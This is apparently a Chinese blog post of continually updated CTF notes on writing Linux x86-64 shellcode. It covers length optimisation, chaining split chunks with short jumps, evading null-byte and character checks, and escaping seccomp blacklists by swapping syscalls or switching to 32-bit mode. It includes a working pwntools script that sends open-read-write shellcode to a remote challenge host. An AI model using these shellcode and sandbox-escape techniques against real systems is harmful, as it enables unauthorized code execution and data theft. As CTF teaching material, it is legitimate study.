shellcode_tips(持续更新版)

本帖将持续记录Linux下shellcode的一些编写技巧,包括长度的优化,特定限制的绕过,shellcode的绕过

鉴于本人汇编基础较弱,目前在持续学习中,如有不正确或含糊的表述,欢迎联系我与我讨论!

Shellcode的编写在二进制安全中是不可避免的,当回归到汇编这种较为底层的语言去实现一些特定功能时,我们往往会发现不只有一种方法能够实现我们的目的。这里我就拿64位中实现 read(0,0x404000,0x50)来举例子:

1.最直接的传值syscall

1
2
3
4
5
6
7
8
9
section .text
global _start

_start:
mov rax, 0 ; sys_read 系统调用号
mov rdi, 0 ; fd = 0 (stdin)
mov rsi, 0x404000 ; buf = 0x404000
mov rdx, 0x50 ; count = 0x50
syscall

2.利用栈传值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
section .text
global _start

_start:
push 0x50 ; count
push 0x404000 ; buf
push 0 ; fd

pop rdi ; fd
pop rsi ; buf
pop rdx ; count

mov rax, 0 ; sys_read
syscall

3.切换到32位操作模式,用中断门调用read操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
section .text
global _start

[bits 64]
_start:
; 直接使用远返回到32位模式
push 0x2b ; 32位CS
push code32 ; 32位EIP
retfq ; 远返回

[bits 32]
code32:
; 手动设置32位栈
mov esp, 0x7fffe000

; 32位系统调用
mov eax, 3 ; sys_read
mov ebx, 0 ; stdin
mov ecx, 0x404000 ; buffer
mov edx, 0x50 ; size
int 0x80

mov eax, 1 ; sys_exit
mov ebx, 0
int 0x80

可以看到汇编的灵活性是非常大的,当然在实战中对于shellcode的编写往往存在着各种各样的限制,比如长度有限,shellcode分割,沙箱保护,特定字符检测等等。通过汇编的灵活性,在某些情况下能够绕过重重难关从而达到我们的目的。

优化shellcode的长度

列一下常见的64位指令长度

栈的操作
  • pop/push reg 1字节
  • push imm 1+立即数的字节数(1/2/4)
赋值/计算操作
  • Inc/dec reg 字节
  • mov/add reg64,reg64 2字节
  • mov/add reg, [reg] 3字节
  • mov/add reg, imm32 5字节
  • mov/add reg64, imm32 7字节
  • mov/add reg64, imm64 10字节
程序流
  • ret 1字节
  • syscall 2字节
  • jmp等跳转 short 2字节
  • jmp/call rel32 5字节

经过对比栈操作与赋值的指令,发现当使用 push imm + pop reg 替代 `mov reg, imm会使汇编更加精简。同时在jmp到shellcode前的上下文也是我们需要观察的,对于栈,寄存器上的数据没准我们就能利用上来减少shellcode的长度。

例子待补充

shellcode分块

有些情景下我们不具备写入连续内容的能力,那么需要将我们写入的shellcode拼凑到一起从而形成一段完整的执行链。这里需要用到相对跳转,也就是jmp $+0x8:这段汇编的意思为跳转到当前eip+0x8的地址上去执行,其汇编拆解便是EB 08

  • EB: 短跳转操作码
  • 08: 相对偏移量(从下条指令开始计算)

在知道对应内存块的相对位移的情况下(通常来说只要位于同一内存段偏移一般固定)在每个内存块尾部加上这么一条相对跳转指令即可

题目试例:

西电mini的checkin题

题目的大致执行流程是向三块堆空间中分别读取0x18数据,然后将堆空间变成可执行的,并跳到第一个堆块空间,题目开了沙箱ban掉execve系统调用。

非常直球的题目,要在三段堆空间构造orw的shellcode。动调查看三个堆块之间的相对偏移(这个是固定的),在每一段shellcode末尾加上jmp $x即可

poc脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
context.terminal = ['gdb','-p', '16296']
context.log_level='debug'
context.arch = 'amd64'
sc_open=asm('''
mov rax, 0x67616c662f
push rax /* '/flag' */
mov rdi,rsp
xor rsi, rsi
xor rdx, rdx
push 2
''')
print(hex(len(sc_open)))
sc_read=asm('''
/* read(fd, stack, 0x100) */
pop rax
syscall
mov rdi, rax /* 返回的fd 3*/
mov rsi, rsp /* 读取到栈上 3*/
push 0x50
pop rdx /*读取0x50字节 1*/
xor rax, rax /* SYS_read = 0 占3字节*/
syscall

''')
print(hex(len(sc_read)))
sc_write=asm('''
/* write(1, stack, rax) */
mov rdi, 1 /* stdout = 1 */
mov rax, 1 /* SYS_write = 1 */
syscall
''')
print(hex(len(sc_write)))
# p=process('./checkin')
p=remote('10.21.162.149',55771)
p.recvuntil("signin~\n")
p.send(sc_open.ljust(0x16,b'\x90')+asm('jmp $+0xa'))
p.send(sc_read.ljust(0x16,b'\x90')+asm('jmp $+0xa'))
# gdb.attach(p)
# pause()
p.send(sc_write.ljust(0x18,b'\x90'))
p.recvuntil("Gashat!\n\n")
flag=p.recvline()
print(flag)
p.interactive()

绕过特定字符的检查

有些情况下,题目会对于你输入的shellcode进行某些检查,我们需要调整我们的shellcode进行检测绕过。

  • 有些题目会先strlen(inputshellcode)得到shellcode长度,再根据长度进行检测。在这种情况下我们在shellcode开头构造存在\x00的汇编(前提是读取shellcode时没有\x00截断),这样检测实际上检测的内容是\x00前面的内容。而后面的shellcode就可以自由发挥啦

例子待补充

突破沙箱的限制

在题目中遇到沙箱ban掉一些特定的系统调用的情况在ctf中屡见不鲜,沙箱的规则制定相对自由,不同题目可以不同组合ban,记录一下目前接触到的突破沙箱构造法

等价函数替换

一系列可能用到的等价替换函数:

  • 使用 execveat 代替 execve

  • 使用 openat 代替 open

  • 使用 readv/writev 代替 read/write

  • 使用 mmap2 代替 mmap

  • orw中,使用 sendfile,代替 read/write

切换指令模式绕过黑名单

当seccomp-tool工具发现沙箱中没有判断指令模式并且采取的是黑名单ban的模式,那么我们可以通过长返回retf的方式来实现架构切换。因为32位与64位同一个系统调用的调用号是不同的。

注意构造retf的栈布局:64——>32位shellcode模版

1
2
3
4
5
6
7
xor esp, esp
mov rsp, 0x400100
mov eax, 0x23 ; cs
mov [rsp+4], eax
mov eax, 0x400800 ; ip
mov [rsp], eax
retf

纯ascii码shellcode

这部分我还没碰到到过,这里有篇还没啃的blog:https://nets.ec/Ascii_shellcode

这部分感觉技巧性很强,多用xor,inc,dec等精细到字的操作,对于shellcode水平要求很高,我如果真遇到应该也是试试工具了(雾